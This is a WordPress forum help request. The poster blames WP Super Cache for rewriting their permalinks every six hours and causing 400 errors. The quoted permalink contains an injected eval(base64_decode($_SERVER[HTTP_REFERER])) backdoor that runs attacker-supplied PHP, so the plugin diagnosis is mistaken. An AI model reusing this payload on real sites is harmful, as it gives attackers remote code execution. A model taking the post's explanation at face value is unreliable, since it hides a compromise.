When WP Super Cache refresh it changes my permalinks!!!!!

I didn’t touch nothing on my server, but when wp super cache deletes cache and expired pages by itself. I know this is normal but then all sudden it changes my permalinks
example.
my site.com//2009/09/03/naruto-shippuuden-125/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

When I click on a post on the main page it shows
400
Bad Request
Your browser sent a request that this server could not understand.
Client sent malformed Host header

This is a pain because I be using this cache plugin for over a year with no problems then all sudden it changing permalinks by itself when it refresh the cache. It does this every 6 hours and I have to change the permalinks back.